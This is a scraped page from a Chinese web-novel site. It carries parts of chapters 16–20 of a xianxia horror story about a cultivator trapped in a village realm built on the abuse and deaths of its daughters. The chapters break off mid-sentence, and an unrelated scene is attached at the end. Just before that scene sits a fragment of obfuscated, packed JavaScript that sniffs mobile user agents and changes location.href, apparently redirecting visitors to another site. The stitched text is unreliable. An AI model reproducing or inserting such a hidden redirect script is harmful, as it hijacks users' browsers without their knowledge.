现在已经知道里面的水混了血,再细细一嗅。整个井从下往上萦绕着一股浓重的血腥味。 井水泛着涟漪,看起来并没有其他东西。 那血是哪儿来的呢? 闻樱心中的阴霾愈发深重。 就在她准备起身时,心中警铃大作。 男人的头渐渐从她肩膀后面探出。 脸上带着狰狞的笑,嘴巴几乎要裂到耳朵根。 井水将他诡异的脸倒映的清清楚楚。 此境虽然不能使用灵气,闻樱被困在这具孱弱的身体中,但她多年的反应能力还是在的。 她将身子一缩,就地一滚。 从男人胳肢窝下逃生。 冰凉的雪沾染了满身。 彻骨的寒意很快透过单薄的衣衫,如附骨之疽一般缠上她,让她病弱的身躯雪上加霜。 闻樱抬头看男人,发现男人还举着一双要推她下水的手。 闻樱目光锐利,质问道:“你要做什么?” 男人僵了好一会儿,忽然头扭转过来,脸上是做坏事被人戳穿的恼羞成怒。 他又是一脚踹过来,将闻樱踹到地上,但因为跛脚,这一脚没用上太多的力气。 “你不好好做饭在这干啥?有你这么和老子说话的份吗?我看你这小贱丫头是活腻歪了,信不信老子一脚踹死你!” 说着,又是如雨般的拳头砸下来。 闻樱心里已经把这个人宰了一万遍了。 但她知道,这就是凶境,每一步都是凶险万分。 这个男人刚才做出的举动也许并不符合他在这个境中的人设,而是处于境主的授意。 境中的剧情人物要用尽任何手段,在不违背规则的情况下,杀死试炼者,将其驱逐出境,维持凶境自身的安全。 这是境主的意思。 就在闻樱差点被打到昏死过去的时候,瘦小的身躯挡在了她的身前,将她紧紧抱住:“别打了爹!你别打姐姐了,再打下去姐姐要被你打死了!” 男人一把将伏在她身上的女孩抓走,厉声道:“我让你去买酒,老子的酒呢?” 女孩哇哇大哭,颤抖着身子还不忘将酒递给男人。 男人从她手里夺过酒,往地上吐了一口唾沫,骂骂咧咧地往屋子里走去。 嘴里不断辱骂着:“懒鬼。” “赔钱货。” “贱人。” 稚嫩的声音将男人的声音盖过去,女孩凑到闻樱身边,声音细若蚊蝇:“姐姐,你没事吧?” 她伸出小手,要将闻樱扶起。 她不断地哭着,但与刚才被打的女人的哭声截然不同。 女人的哭声听起来哀怨、怨愤,让人难免生出厌烦。 女孩的哭声悲伤,但让人只觉得可怜。 闻樱一手握着她的小手,另一只手抓住井边,吃力地从地上站起来。 她注意到女孩还这么小,手心却满是冻疮和老茧。 泪水从她带着婴儿肥的面庞上滚落,被冷风一吹,留下晕红。 闻樱伸出手,为她擦拭泪水。 她声音听起来虚弱极了,但还是想极力安慰一下面前这个小女孩:“别哭了,等下被冷风一吹,脸会痛。我没事,还能走。” 女孩也粗鲁地在脸上囫囵擦了两把,小小的身躯搀扶着闻樱,要带她回去。 闻樱拉了拉她的手,道:“我还得做饭。” 女孩了解这个家的一切,她知道如果闻樱不做饭,男人一定会打她,只好咬咬唇,又扶着闻樱往厨房走去。 闻樱尽量不把重量分担给她。 经过主屋的时候,闻樱看到女人隔着窗子,阴森森地看着她。 两人目光交错。 女人的身影消失在了窗子后面。 仿佛刚才一切只是闻樱的幻觉。 闻樱面色如常,步履蹒跚地走到厨房。 这次她连菜都懒得洗了,直接扔到锅里煮了煮,盛出来。 闻樱从小做饭就不好吃,她自己也懒得做,本还想给男人女人洗洗菜,男人好大的威风,闻樱连给他洗菜的心情都没有了。 反正男人是鬼,吃又吃不死。 能吃死最好,省的闻樱以后自己动手。 等饭熟的过程中,闻樱和女孩随意聊了两句。 她得知女孩叫小雅,又或者是小丫。小雅不会写自己的名字,话说的也不标准,闻樱只能勉强辨认她说的话。 而闻樱从男人的辱骂中也能猜出自己的名字,翠花。 “姐姐,菜马上好了,我们盛去给爹娘吧,不然等下又要被骂了。” 女孩矮小,够不着橱柜,闻樱扶着墙,走到橱柜那里,拿碗筷。 她拿出碗,一张纸条就被压在最下面。 闻樱回头,看到小雅还在撑着脑袋看着噼里啪啦的火星打瞌睡,没有注意到自己这边的情况。闻樱将碗放到一边,拿起纸条,展开。 上面是几行红色的字。 【天气越来越冷了,家里揭不开锅,爹娘在地里忙活,让我和小丫去外面觅食。小丫那么小,挎着一个比她还大一点的篮子,摇摇晃晃的出门去,我要和小丫一起,娘就说我们一起偷懒,硬是要将我们两个分开。】 【我上山找了好久,只找到一些野菜,我多挖了一些,打算回来分给小丫。她那么小,能找到什么东西】 【我终于回来了,却发现小丫死了。她没能等到我。她真的太小了,什么东西都没能给爹娘找回来,娘说她是赔钱货,养她没用,不知道还得给别人家养多少年。于是娘烧了一大锅水,掰开小丫的嘴,给她灌下去。】 【一勺又一勺滚烫的水灌进小丫小小的嘴巴里面,先是烫坏了她的舌头,紧接着是食道 17.第 17 章 《经常帮捉妖的漂亮师妹》全本免费阅读 女人一番唱念做打,亲眼见着闻樱将纸包贴身做好,方才满意地离去。 闻樱脸色苍白,加之没有吃饭,她靠着床榻歇了一会儿。 小丫吃完饭,来找她,小小一只站在那里,还给闻樱倒了一碗水。 “姐姐,喝水。”小丫努力将碗举高。 闻樱揉了揉她的发顶:“姐姐不渴。” 小丫将碗放在窗沿,两手并用爬到床上,把头轻轻枕在闻樱腿上。 “姐姐,他们打你,你身上很痛吧?” “还好,没有以前痛。”闻樱手指轻轻落在小丫头上。 小丫看起来才四岁左右,头发还很稀疏,因为长期营养不良而泛着枯黄。 可她并不因此而难看,她是个很漂亮的小孩子,有一双明亮澄净的眼睛。 “姐姐,娘是不是不喜欢我?” “为什么这么说?”闻樱有心套出更多的信息,顺着她的话问下去。 “我娘死了之后,爹很快就娶了我们的娘,告诉我娘会照顾我,可是娘总是不跟我说话,虽然没有打我,但是比打我还难受。” 小孩子嘴笨,心里有所感受,却不一定能准确的表达。 有的时候同在一个屋檐下,忽视和暴力,两者之间未必哪个更好受,一个是精神痛苦,另一个是身体痛苦,对于小孩子来说,都和凌迟没有区别。 闻樱像是在跟小丫说话,又像是透过她,说给另一个人听。 “她不喜欢你,这并不要紧。有阴才会有阳,有白日自会有长夜,有人喜欢你,自然会有人不喜欢你。每当有一个人喜欢你,这世界上就会有另一个不喜欢你的人出现,如果你恰好遇到了三个不喜欢你的人,那么你要相信在未来就会有三个喜欢你的人出现,在乎应该在乎的,舍弃应该舍弃的。” 小丫听的一知半解,闻樱笑了笑,说道:“她不喜欢你不要紧,我喜欢你,这样我与她就抵消了。” 小丫听懂了闻樱说的喜欢,她努力伸出手抱住闻樱,满足地笑起来:“我也喜欢姐姐,我想和姐姐一直在一起。” “姐姐,你会走吗?” “走去哪里?” “桐花村有很多姐姐,长大以后就不再回来了,你呢,你也会走吗?” 闻樱看着小丫,没有说话。 能留在境中的,大部分都是已故之人,境主凝滞时光,让他们停留境中,如往常一般生活。少部分是无法破局,被困死在境中的人,他们会慢慢被境主蚕食生命,为境主壮大实力提供养分。 小丫太小了,很明显不是后者。 她出不去的。 闻樱也很少做承诺。 她作出的承诺会想办法做到,可小丫的问题明显是个无法完成的事情,闻樱无法回答她。 小丫的眼睛满含期待地看着闻樱。 “我会走。”闻樱很肯定地告诉她。 小丫眼底的光逐渐黯淡。 她很小声地说道:“姐姐走了就不要再回来了,爹娘总打你,外面的世界不会再比桐花村更坏了。” 闻樱握住她的手,说道:“不过我会想尽一切办法,带你从这个家走出去。” 小丫并不知道这个承诺出自闻樱,她只当是她羸弱的姐姐哄她开心的话,可她依旧开心的蹭了蹭闻樱,像是一只冬日想要汲取暖意的小猫。 外面的雪又簌簌飘起来。 小丫打了个哈欠:“姐姐,我可以睡一会儿吗?傍晚需要祭祀的时候你叫我一起。” 闻樱答应。 没一会儿,小丫呼吸声变大,翻了个身睡熟了。 闻樱恢复了少许体力,悄然下地,在房间里面翻找起来。 果然,她在床底找到了一张字条。 这一次字条上面的字比上一次的字少些,只有三行。 【每日只能进一次猪圈。每日需要喂一次猪。猪不吃饭会饿死,但不能给猪吃太多,被爹娘看到会生气。】 【猪不会说人话,如果听到猪说话,请立刻远离。】 【临近年关,直到猪被卖掉之前,保证猪不要死。】 闻樱想到屋子旁边那股令人难以忽视的恶臭味,决定先去看看猪圈。 一天只能进一次猪圈,每日需要喂一次猪。 不喂猪很可能是一个死亡条件,在卖出去之前让猪饿死是第二个死亡条件。 不能给猪吃太多这一项并非死亡条件,爹娘仅仅只是生气而已,并不致死,后果应该只是向今日一样被拳打脚踢。所以宁肯多喂,也不能少喂,让猪饿死便是得不偿失。 那么今日,在闻樱来之前,这具身体进过猪圈喂猪吗? 她想到了刚醒来时,男人说的话。 “——翠花死哪儿去了?回来灶都是冷的。” 这具身体今日生病了,早上并没有做饭,厨房里面也没多少东西是能够留给人吃的。 那么猪的饭只能是人的剩饭。 闻樱给小丫添了两件衣服,轻手轻脚地往主屋走去。 男人呼噜打得震天响,但桌上的饭菜被动过,动的不多,还剩下好些残羹冷炙。 女人已经不再哭,静静地平躺在床上,眼神中专注而怜爱地抚摸着自己圆滚滚的肚子,一下又一下。 闻樱注意到女人肚子的形状很奇怪,肚皮很大,亦很圆,却有多个不同的略显圆润的顶点,有些地方则没有支撑,不明显的凹陷下去。 女人肚子里怀的究竟是什么? 闻樱探究的目光被女人捕捉,女人警惕地看她一眼,将肚子护的更周全,指了指她的袖子,示意她尽快对小丫动手。 闻樱笑着点点头。 她弯腰将桌上的碗盘收拾干净,从厨房拿来木桶,将剩饭剩菜都倒进去,颠了颠分量,觉着应该够吃,便拎着往猪圈走去。 每走一步,都宛如行走在刀尖上,身上的关节皮肉隐隐作痛。 闻樱像是感觉不到痛一般,拎着沉重的木桶,放到了猪圈门口,她踮起脚,看到石料砌成的猪食槽里面很干燥,什么东西都没有。 那就是今日没有喂过。 她放心地拨开木栓,打开猪圈的门。 一股排泄物的酸腐味顷刻之间溢满鼻腔,直抵天灵盖。 闻樱屏住呼吸,重新拎起木桶放到里面,倒在了喂猪的槽道里面。 原本躺在角落的猪看到她,欢快地凑过来,埋在汤水里面大快朵颐。 吃了两口,不知为何又不吃了,到她脚边转了两圈,嘴里发出哼哼声。 猪的体温很高,在如此寒冷的季节更加明显,凑近闻樱的时候,闻樱俯下身,摸了摸它。 它看上去更开心了,尾巴能摇出一朵花来。 脑海深处有另一道声音告诉闻樱,她应该离猪远点,因为猪又臭,又难看,又没用。 闻樱的手指在猪身上顺毛,每天吃这些东西,猪身上的毛发竟然也很顺滑。 闻樱轻声道:“你去吃吧。” 猪的鼻子拱了两下,眼睛汪汪地看着闻樱,清亮干净。 忽然,它开口 18.第 18 章 《经常帮捉妖的漂亮师妹》全本免费阅读 起初,闻樱还在思考怎样揭过自己不认路的这一茬,没想到一出大门,乡间的泥泞小道上人影憧憧,如游魂一般不约而同地向同一个方向走去。 来桐花村之前,闻樱对这个村子有过一些了解。 村子人不多,整个村子中间低,四周高,村子围绕一棵桐花树向外蔓延,故而名曰桐花村。 她曾在家中借助井水照过,境主改变了她的容貌,如无意外,林妙音几人的容貌也应该已经被改变,想着靠外貌找人行不通,闻樱不动声色地打量四周行人,也的确没有熟面孔。 但有些人偷偷摸摸的感觉是藏不住的。 闻樱领着小丫加快脚步,不留痕迹地跟在一个少女身后,拍了拍她的肩膀。 少女正在打量周围环境,力求让自己成功融入,全神贯注,忽然被人一拍,差点吓得跳起来。 “你是?”少女警惕地退后两步。 “你认识姜雉吗?我找不到她了。” 少女肉眼可见的眼神一亮,抓住闻樱空着的那一只手,强压惊喜,低声道:“你是哪个?重剑还是符咒?” 闻樱:“重剑。” 能问出这个问题的,只能是林妙音。 闻樱又跟她道:“现在先去祭祀,祭祀完来找我。” 少女点点头,三人走散,闻樱领着小丫不紧不慢地跟上人群。 人们的速度渐渐慢下来,小丫摇了摇闻樱的手,道:“姐姐,我们到了。” 闻樱的目光穿过攒动的人头,落在了人群的最前面。 那是一颗高不见顶的桐花树,庞大的令人心惊,站在这棵树下的闻樱像是渺小的尘埃。 密密匝匝的雪白花朵盛开如锦,花心泛着淡紫,顺着枝叶葳蕤如织,茂密而上,如一座拔地而起的,被桐花包裹的空中城池,又像一棵悬浮在空中的巨型心脏,散发出强大的生命力,遮天蔽日,不停的发出 砰砰,砰砰的跳动声。 壮丽而震撼。 风吹过境,花树发出簌簌沙沙的巨响。 闻樱仰望,心底空白了一瞬。 这怎么可能,会是存在于世间的树? 现在也不是桐花盛开的季节,怎么会有如此多的桐花开在此地? 境中不会有超出寻常认知太多的东西,除却里面的鬼,其余陈设与常世无异。 譬如玉虚境中,华灯似锦,灯火琉璃,行人熙熙攘攘,小贩高声叫卖。 这些都是境主曾经亲身经历过的事情,是现实中真实发生过的。 这棵树是真实可以存在的吗? 闻樱像是在问自己,又像是在问境主。 站在她身前的人听到这句低喃,回头看她,压低声音道:“这棵树当然是真实存在的啊?你不知道这棵树的来历吗?” 小丫踮着脚,问:“什么来历呀?” 那人看着小丫,眼神柔软了些许,说道:“你还小,不知道,神树在许多年前只是一棵略微有些大的桐花树。后来咱们村总是闹鬼,死了不少人,恰在此时来了一个仙人,为此地驱鬼,那些鬼死的死,伤的伤,逃的逃,总之仙人大显神威,将那些鬼打的落花流水,再不敢来犯。” “事情平息之后,村长就问仙人,仙人一走,那些鬼见风头一过,又出来兴风作浪,咱们村民岂不又是永无宁日?而且因为仙人此举,新仇旧恨,那些鬼只会更加心狠手辣,到时候不知道又会有多少人因此丧命。” “仙人心善,在桐花树下设下法阵,将自己的血滴在阵眼,阵法可延续前世万代,保佑此地并不受邪祟侵扰,福泽万世流传。仙人走后,这棵树越长越大,村里人奉其为神树,还有不少其他村的人仰慕仙人恩泽,迁来咱们村定居,可以说咱们村能有今天,全靠这棵树,等下祭祀,可得诚心祝祷。” 小丫哇一声,说道:“这位仙人真是太好了,心善仁德,慈悲为怀。等下小丫一定要好好祈祷,祈祷仙人长命百岁,不,万万万岁。 ” 老奶奶摸了摸小丫的头,说道:“丫头真乖,仙人现在一定如你所愿,好好活着,在人间行侠仗义呢。” 闻樱露出一丝不易察觉的茫然。 祭祀很快开始,人们像是被安排好一般,齐齐跪下,双手合十,闭上双目,面目虔诚。 闻樱也跪下,心里却在回味老人刚才的话。 那样长,那样完整的一个故事。 这个境的形成和这棵树一定有很大的关系。 在方才跪下时,她留意动作不那么顺畅,总是慢半拍的人。 她想她知道李却扇在哪里了。 但是姜伞呢。 闻樱注意到,所有跪在桐花树前的人中,年龄稍小的少年并没有行为举止异常的人。 姜伞被吃了? 还是说姜伞太会演了? 闻樱眉头微微蹙起。 她得想办法找到姜伞。 这场祭祀大概持续了一个时辰,方才由村长宣告结束。 闻樱拉着小丫站起来,跟小丫说道:“姐姐还有些事,晚些回去,你要跟着姐姐还是自己先回家去?” 小丫胆怯地看她一眼,道:“我想跟着姐姐,但是姐姐你需要在外面呆多久?现在很晚了,外面很不安全,家里有爹娘在才安全。” 闻樱安抚道:“姐姐很快,但是你说的对,太晚了,小孩子在外面不安全,你先回家,姐姐很快就会去找你,好吗?” “好!”小丫点点头,将手中的灯留给闻樱,蹦蹦跳跳地跟随人群往家走去。 人们也开始陆陆续续散开,但是他们走得不快,闻樱顺利找到林妙音,又带着她找到李却扇。 三人通过身份,李却扇佩服道:“你是如何找到我们两个的?你也太厉害了吧,我头疼了一天该怎么和你们会合。” 闻樱能说,是因为试炼者身上都有一种鬼鬼祟祟的气质吗? 她不能说,并保持了微笑,语速很快的将自己知道的事情交待清楚。 林妙音二人知道晚上不能在外面久留,也很快陈述了她们两人的境遇。 闻樱一一记下细节,提醒两人:“晚上不要睡太死,免得被人趁虚而入。此境不能用灵力,一切以保命为重。明日正午给他们做完饭,还是来这里,我们检查一下这棵桐树,我怀疑这棵桐树是此境生成的关键。” 二人点头,闻樱与她们匆匆分开。 闻樱往家走,回想刚才她们所说的话。 两人的境遇和闻樱如出一辙,境主给她们的开局是一样的。 林妙音力气大,是三人中现在状态最好的一个。 闻樱用重剑,基础身体素质也很好,加上有点小聪明,状态也还算可以。 三个人中,情况最不容乐观的是李却扇,在打水的时候被男人偷袭,虽及时稳住了身形,但头依旧磕在了井沿,划开一道两指宽的伤口,她以冰雪止血,却依旧很危险。 除此之外,还有至今仍下落不明,连祭祀都没来参加的姜伞。 闻樱心情说不上的沉重。 虽然她并不相信姜伞,但姜伞到目前为止对她很好,想到姜伞有可能遇害这个可能,心下微沉。 走在她前面的村民,忽然陆陆续续停住了脚步。 闻樱不明所以,亦脚步慢了下来。 那些人一个接一个地回过头,他们手中的灯似乎被人噗的一声吹灭,仅有闻樱手中的一盏孤灯,幽幽照出方寸之地。 闻樱前方的路断了,隐没入黑夜中,伸手不见五指。 唯有停住的人,眼中是幽暗的红光。 一错不错地盯着闻樱。 离她最 19.第 19 章 《经常帮捉妖的漂亮师妹》全本免费阅读 女孩眼睛微微睁大,竟扑簌簌落下泪来。泪水没有实体,像是空气隐没脚下的土地,她上前两步,伸出手,却又胆怯的收回。 是闻樱轻轻的抱住了她,温暖的怀抱笼罩了小女孩冰冷的,并不属于人类的身躯。 “我没有想到,此境境主会是你。我很想知道在我离开后,你发生了什么。” 如果说闻樱前世问世中,印象比较深的地方,桐花村可以算作一个。 早年闻樱携剑问世,游历至此地。此地因地势低于四周,千年前在此发生过著名的淮阴一战,此战奠定了前朝颓败之势已无可阻挠。 在那场战争中,两国将士死伤无数,尸横遍野。这里曾经吸纳过无数将士的鲜血,掩藏过千万将士的骸骨。 千年时间滚滚流逝,尸骨沉土,风沙掩去,在此地之上,又建起屋舍鳞次,形成了后世的桐花村,但因为前尘往事积累所致,本是聚阴大凶之地,这里的百姓也深受其扰,苦不堪言,人丁凋零,居住于此的老百姓越来越少。 闻樱便如故事中所说的那样,除去邪祟,在桐花树下设下阵法。那时的桐花树是一颗百年神树,本就庞大,因为人们总来这里纳凉,人气重,阳气自然重,驱阴辟邪,最合适不过,闻樱便选在了这里,用自己的血作为阵眼,庇佑桐花村的百姓。 桐花村的百姓夹道相送,感谢不已。闻樱在将要离开的时候,看中了一个孩子。她观女孩骨,是难得一见的聚灵之体,便萌生将女孩带回锁灵渊修道的想法。 村民们得知她有此意,半是羡慕,半是嫉妒,恨不得闻樱看上的是他们自己家的孩子。 于是她去了女孩家,同女孩父母提出想将女孩带去修道之事。 闻樱的神通他们都是亲眼见的,听到闻樱要收徒带走,喜极而泣,连忙叩拜,但得知闻樱想带走的孩子是二丫的时候,不知为何,他们脸上的笑容消失,罕见的为难起来。 一家人除了二丫,支支吾吾许久,最后由男人站出来跟闻樱说:“你说二丫啊,道长,不是我说话难听,您和我们不一样,您生来便是仙人,我们只是饥饱不定的老百姓,要考虑的事情就要比您多一些,这女孩子成天掺和什么修道的事情啊?那都是男人做的。” 他将他十几岁的儿子往前推了两步,孩子踉跄了一下,站好,掀起眼皮直勾勾地打量闻樱,眼底有惊艳,有自信,有欢喜,有傲慢。 明明他们都是一样的家庭,站在他后面不远处的二丫却是胆怯羞涩,见闻樱看过来,连忙劈柴,不敢多看一眼。 “这是我儿子耀祖,今年十二岁了,比二丫机灵的多,二丫平常在家里也就做做粗活,耀祖可不一样,一岁半就能开口说话,三岁就能识字,平日里就爱看书,周围谁家不夸我们耀祖好的?说我们家耀祖将来是要做秀才,以后登阁拜相的命。道长你看,他们两人都是一个肚子里生出来的,这耀祖肯定比二丫聪明多了,不信你看看。” 闻樱只是粗略的看了男孩一眼,就知道他不过是一个普通的,不能再普通的凡人。 根骨和修道一生无缘,就连男人所说的聪明,闻樱也没能看出来。 闻樱说:“你儿子很普通,我不能把他带回锁灵渊,他无法聚气,更别提修炼,你不如早些给他寻些营生,让他早做打算。反而是你的女儿,天生聚灵之体,也正是适合修炼的年纪,你说再多些没有用,我想带走的只有你的女儿。” 闻樱心下不耐,说话便少了几句虚与委蛇,男人一听,气红了脸,却又畏惧闻樱的身份,不甘不愿道:“道长您兴许觉得我们有些偏心,可为人父母的哪有不疼爱两个孩子的?他们长这么大,我们摸着良心说,那都是一视同仁的养着她们两个,但关乎两个孩子的未来,我不得不与您说道说道。 ——这男孩和女孩如何能一样呢?耀祖去修仙,修得大道才是真正的光宗耀祖,二丫迟早要嫁人,嫁出去得女儿泼出去的水,修出个花儿来那也是给别人家修的,道长,不是我们不肯送二丫去修仙,实在是女儿家都是赔钱货,等她嫁了人,我们好歹还能收回本,您把她带走了,这一走不知道就是多少年,我们家之前花在她身上的钱,岂不是都打了水漂?” 旁边的女人也说道:“是呀,道长,二丫马上就到了能嫁人的年纪,嫁出去也能换些米面回来,这些年好些稻子种下去都颗粒不收,我们家里也揭不开锅,这家无斗储的,您要是真有心收徒弟,就把耀祖收去吧,他聪明伶俐,二丫呆呆傻傻的怎么比得上,让耀祖去给您端茶倒水也是他的福分啊。” 女人一把就要将耀祖推到闻樱身上,孩子也伸出手来,要拽闻樱的衣角。闻樱后退两步,看着这一家人,觉得荒唐至极。 “你们把修仙当成什么?明明你们女儿才是适合修仙的那个,你们这样做不是在耽误她吗?” 一家人听出闻樱生气,讷讷低下头,不再说话,眼底却是不以为意。 总之,闻樱想要收徒,只能在这一男一女中选男的,否则就谁都别想带走,想带走女孩那简直做梦,女孩他们还有别的用处。 闻樱之所以将这件事记得如此之深,是因为她从那时,心底就有了一个疑问。 为什么明明作为天赋高的那个,就因为她是女子,就无法迈入修仙之道。为什么身为男子,明明无才无能,全家人却好像他是一国太子一样,举家供他走出一条平坦大道? 闻樱拂袖,走到女孩身边,女孩停下劈柴,懵懂地看着闻樱。 “你愿意跟我走吗?” 女孩看了一眼闻樱,又不自觉地看了一眼自己的母亲。 母亲目眦欲裂,大有她答应回头就一把把她掐死的架势。 二丫瑟缩,垂下脑袋轻轻道:“对不起,道长。” 如果想要从凡间带走一个人,这并不难,但需要全了她的因果。 二丫不愿意,闻樱也没有办法。 可这不怪二丫,她也只是个小女孩罢了。 从一个小女孩降临世界上的那一刻开始,他的父母就对她的存在表达了蔑视。这种蔑视根深蒂固,如阴湿的苔藓弥漫了女孩的整个童年,所以某一刻开始,女孩开始了长达一生的自我蔑视。 她觉得她不配,她怎么能离开父母呢?虽然她很喜欢闻樱,很想成为闻樱那样的人,但她还是太小了,不明白每一个举动背后代表的是什么,只能一味的顺从父母的安排。 等她年岁渐长,忽然回过神来时,发现人生已经因此错过了很多个机会。 从此只能怅然地说一句:如果我那时要是…… 可惜一切都太晚了,人生的大方向已经被父母掌舵,余下的唯有懊悔。 闻樱不希望她将来悔恨。 她将手抚在二丫后背,道:“你好好活着,以后可来临安镇找我。” 二丫抬头,感觉一股清明之气,顺着脊骨第三第四块骨头,直入天灵盖。 闻樱为她打通了灵脉,她又是聚灵之体,将来如果能踏入修仙门槛,也能来锁灵渊找她。 闻樱趁一家人不注意,将解下来的婴宁剑穗,塞到了女孩掌心,大步离去。 女孩小手握剑穗,回头望她。 她心里觉得空落落的,仿佛 20.第20章 《经常帮捉妖的漂亮师妹》全本免费阅读 闻樱紧紧的抱住她,眼泪划入二丫的脖颈。 二丫本以为年幼时的惊鸿一瞥,此后再无相见的可能,却没想到还有重逢的这一日。 她无比清晰的感受到闻樱的存在:闻樱的温度,闻樱的泪水,和闻樱跳动的心脏。 “你是我的第二个母亲,我因你的血而复活,因你为我疏通灵脉,得以汇聚灵气,修炼成妖,所以你来到这个境中,我就认出了你。姐姐,我从来没有想过要杀死你。” 二丫回抱她,眼神中满是亲近。 “我从一开始,就没有想要杀死你,还有你一起来的朋友。如果想要杀死她们两个,太容易了,一个胆小,另一个弱小,可我知道,她们没有坏心。凶境,本就要吞噬无数性命才能壮大自己,可我始终记得你,我想总有一天,也许你会路过此地,到时候你看到我滥杀无辜,那么我可能连童年最后的温暖都留不住了。” “我所杀的,都是桐花村附近,和我爹一样的男人,还有在家中享受了无穷利益,将姐姐妹妹的鲜血吸干殆尽的男丁。正是因为如此,他们的女儿很多才留在此境,陪伴与我。” 像是回应她的话,千万桐花发出沙沙声。 在如此寂静的深夜,振聋发聩。 难怪,这棵树能长这么大。 每一个花枝,都是自愿留在此境之中的女孩。 对于她们来说,外面的世界已经不值得丝毫留恋。 “那外面通往桐花村的道路上,住着的村民,她们是什么人?” 那些在闻樱她们寻找凶境时,为她指路的人,死死盯着她们的人。 她们是活人。 “她们,是桐花的母亲。”二丫抬头,看着浓密的花荫,轻声说道。 一朵桐花飘零落地,化作梳着双髻的女童。 女童声音清脆,说道:“给姐姐指路的,就是我娘!” “她们是在……” 二丫道:“她们的女儿选择留在此境,她们守着女儿,不愿离去。” 女人们退居桐花村外,却守着此地不愿离去,是因为那里面的鬼不是别人,是她们的女儿。 二丫没有骗闻樱,她知道那些女人是好人,所以哪怕她们就在二丫权柄所经之地,二丫也没有收去她们的性命,反而对她们多有庇佑。 那个女童没有散去,反而凑过来,眼底满是亲昵。 “姐姐,我能拜托你一件事吗?”女孩道,“你能帮我给娘带去一句话吗?” “什么话?”闻樱问她。 “娘怕我在里面过得不好,一直很担心我,徘徊在外面许多年,其实我死了,她早该过上属于自己的生活了,无论是改嫁也好,还是自己做生意也好,又或者到处游山玩水。她先是一个人,再是我娘。” 说完,女孩顿了一会儿,低低道: “如果她能够幸福的话,我不出生也没关系的。” 闻樱深吸了一口气,蹲下身子捏了捏女孩的脸:“好,我会帮你把话带到。” 二丫站在旁边,笑了笑,说道:“其实姐姐你聪明,已经知道离开的方法,我想你应该很快就要走了,所以才想尽办法再见你一面。” 闻樱站起身,她面前的女童消散,月白灵气萦绕盘旋,重新回到树上。 “我还不能离去。”闻樱低声道。 “为什么?” “随我来的还有一位男修,也被困于境中,我至今没有见到过他。” 二丫嘴角慢慢放下,她问闻樱:“你一定要将他带走吗?” 她几乎恨这个世界上的每一个男人。 “是,我一定要将他带走,他对我有恩。” 二丫道:“凡踏入此境的男人,他们不会被我安排身份,等到这一轮试炼者结果出来,他们会直接死在境中。” 在此凶境中的女人,只要按照剧情走下去,做出正确的行为,就可以破局离开。 而男人进来的那一刻,就注定了死亡的结局。 他们甚至都不能参加试炼,更谈何破局? “但如果是你想的话,姐姐,待你们破境之时,我会将他双手奉上。” 闻樱将女孩小小的身躯抱住:“多谢。” 两个人在树下,长久的静默。 这是二丫盼了许多年的温存。 她脑海中不合时宜地,闪过了一张男人的脸。 姜伞,原来他叫姜伞。二丫很好奇他与闻樱是什么关系,为什么闻樱执意要救他呢?这个男人看起来除了长得好看,没什么别的特别之处。 难道闻樱喜欢他吗? 闻樱踏入此境之后,二丫就在想这些问题。 她觉得男人配不上闻樱,像闻樱这样的人,注定是要飞升成仙的,男人只会影响修炼的速度。 可她怕闻樱伤心,所以哪怕厌恶男人至深,也考虑要不要放姜伞一马,让他如其他人一般,参加试炼。 但不知道为什么,她竟不能为姜伞安排身份。 为什么? 这样的事情在这片大陆上闻所未闻。 在境中,境主权力大于一切。 哪怕姜伞是大罗金仙,来了都得被她安排一个身份。 但她做不到。 她将姜伞关了起来,她看着长身玉立,静静坐在黑暗中,清隽如画的男人,冷冷道:“我为什么不能帮你在境中安排身份?你身上究竟有何古怪?” 姜伞没说话。 “好,你不说,我也知道你这个人身上绝对有问题,你接近沈姐姐,是什么目的?” “沈姐姐?”浓密的睫毛颤抖两下,姜伞终于睁开了眼,看向二丫,“你说的是,沈稚鱼?” 二丫厌恶地上下打量,粗声粗气道:“闭嘴,她的大名也是你能叫的?” 姜伞没有理会这句话,也并没有因此而生气,他比以往二丫见过的所有死到临头的男人都要从容淡然。 “你怎么会认识沈稚鱼?”姜伞问她。 二丫哼了一声,道:“你不肯告诉我你的秘密,我又为什么要对你坦诚?” 姜伞阖上眼,不再说话。 凝聚实体太浪费灵力了,如果不是必要时刻,二丫都直接化作一团雾飘来荡去。 一团紫色的雾绕着姜伞飞了两圈,停在他面前,又忍不住跟他说话:“她喜欢你吗?你们是什么关系?” 闻樱喜欢姜伞吗? 这真是一个伤人心的问题。 姜伞淡淡道:“不喜欢。” 哪怕没有实体,雾气也松了口气,片刻,摆出恶婆婆的腔调:“你知道的,只要是男人我都杀,但我今日我可以放你走,只要你离她远点。你不能仗着自己有点姿色,就耽误她的修行。” 见姜伞不为所动,二丫急道:“你听到没?你配不上她的,你别痴心妄想!” “我没有痴心妄想。” 姜伞坐在那里,神色疏淡,俊美而冷漠,并没有因为二丫的警告而生气。 他只是平静的说道:“我没有要求她喜欢我,当然不会痴心妄想。” 二丫有些沉默了。 二丫看不懂他。 如果换做以前她杀掉的那些男人,别说离闻樱远一些这个条件了,只要能让他们活下去,再离谱的条件他们也会将道德抛诸脑后,一口答应下来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915785|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看过来。 三楼以上是姑娘们的住所,除非有过提前预约,闲杂人等不得跟着姑娘上楼。 闻樱脚步一顿,背脊挺直,笑容淡下来。 就在她犹豫着是不是要回头时,耳边有人低低道:“得罪了。” 声音小到闻樱几乎以为自己听错了,然而下一瞬,姜扶雪将她拉过,抵在墙角。 闻樱心口一窒,抬头看他。 两人的温度充斥着狭小的角落,呼吸近在咫尺,身体也靠的很近。 管事的脚步声一寸寸靠近。 “怎么不说话?” 姜扶雪原本扣着她的一只手腕,手微微抬起,沿着她的指尖顺势插进去,与她十指相扣。 不知道为什么,她忽然下意识地将自己的呼吸声收起,仿佛担心这样的距离,自己的呼吸声会吓到对方一样。 睫羽颤动,压下眸底慌乱的神色。 姜扶雪似乎也是在犹豫要不要继续下去。 